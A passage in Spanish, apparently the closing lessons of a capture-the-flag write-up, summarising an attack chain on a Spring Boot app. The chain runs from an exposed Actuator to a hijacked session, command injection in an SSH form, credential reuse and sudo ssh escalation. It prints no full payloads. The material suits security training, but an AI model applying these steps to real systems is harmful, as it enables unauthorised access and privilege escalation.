Cuando Nmap muestra una redirección a un dominio, no conviene enumerar solo por IP. El hostname puede condicionar rutas, cookies y comportamiento de la aplicación.

2. Los errores JSON ayudan a identificar backend

Una landing estática puede ocultar una aplicación dinámica. En este caso, `/login`, `/error` y los JSON de 404 indicaron que nginx no era toda la historia.

3. Actuator expuesto puede ser crítico

Spring Boot Actuator no solo muestra salud. Si está mal configurado puede revelar endpoints internos, variables de entorno, mappings, beans y sesiones activas.

4. Una sesión filtrada vale más que un usuario filtrado

La explotación no dependió de conocer `kanderson` como nombre, sino de reutilizar su `JSESSIONID` activo.

5. En paneles autenticados hay que separar UI, request y backend

El valor real del panel no era su aspecto visual, sino el formulario que enviaba `host` y `username` a `/executessh`, conectado a un handler backend con nombre revelador.

6. Antes de explotar, conviene validar comportamiento normal

Las pruebas con `127.0.0.1`, `localhost` y `example.com` demostraron que el backend ejecutaba una operación SSH real. Esa evidencia hizo que las pruebas posteriores fueran dirigidas y no a ciegas.

7. En command injection importa la posición exacta del parámetro

El patrón inferido era similar a `ssh <username>@<host>`. Por eso `id` se contaminaba como `id@127.0.0.1` si no se cortaba el resto de la línea.

8. Un callback externo es una prueba fuerte de ejecución

La petición recibida desde `10.129.37.233` al servidor local demostró ejecución remota mejor que una simple diferencia de errores.

9. En Spring Boot, revisar el JAR es prioritario

El JAR contiene clases, dependencias y configuración. En este caso, `application.properties` expuso credenciales directas de PostgreSQL.

10. Una contraseña de aplicación puede pivotar a sistema

El usuario `admin` de la aplicación no era el usuario SSH. La contraseña crackeada se reutilizó en `josh`, usuario local real.

11. `sudo -l` debe analizarse por capacidades del binario

`ssh` parece un cliente de conexión, pero sus opciones permiten ejecutar comandos locales. Con `sudo`, esa ejecución local se convierte en escalada.
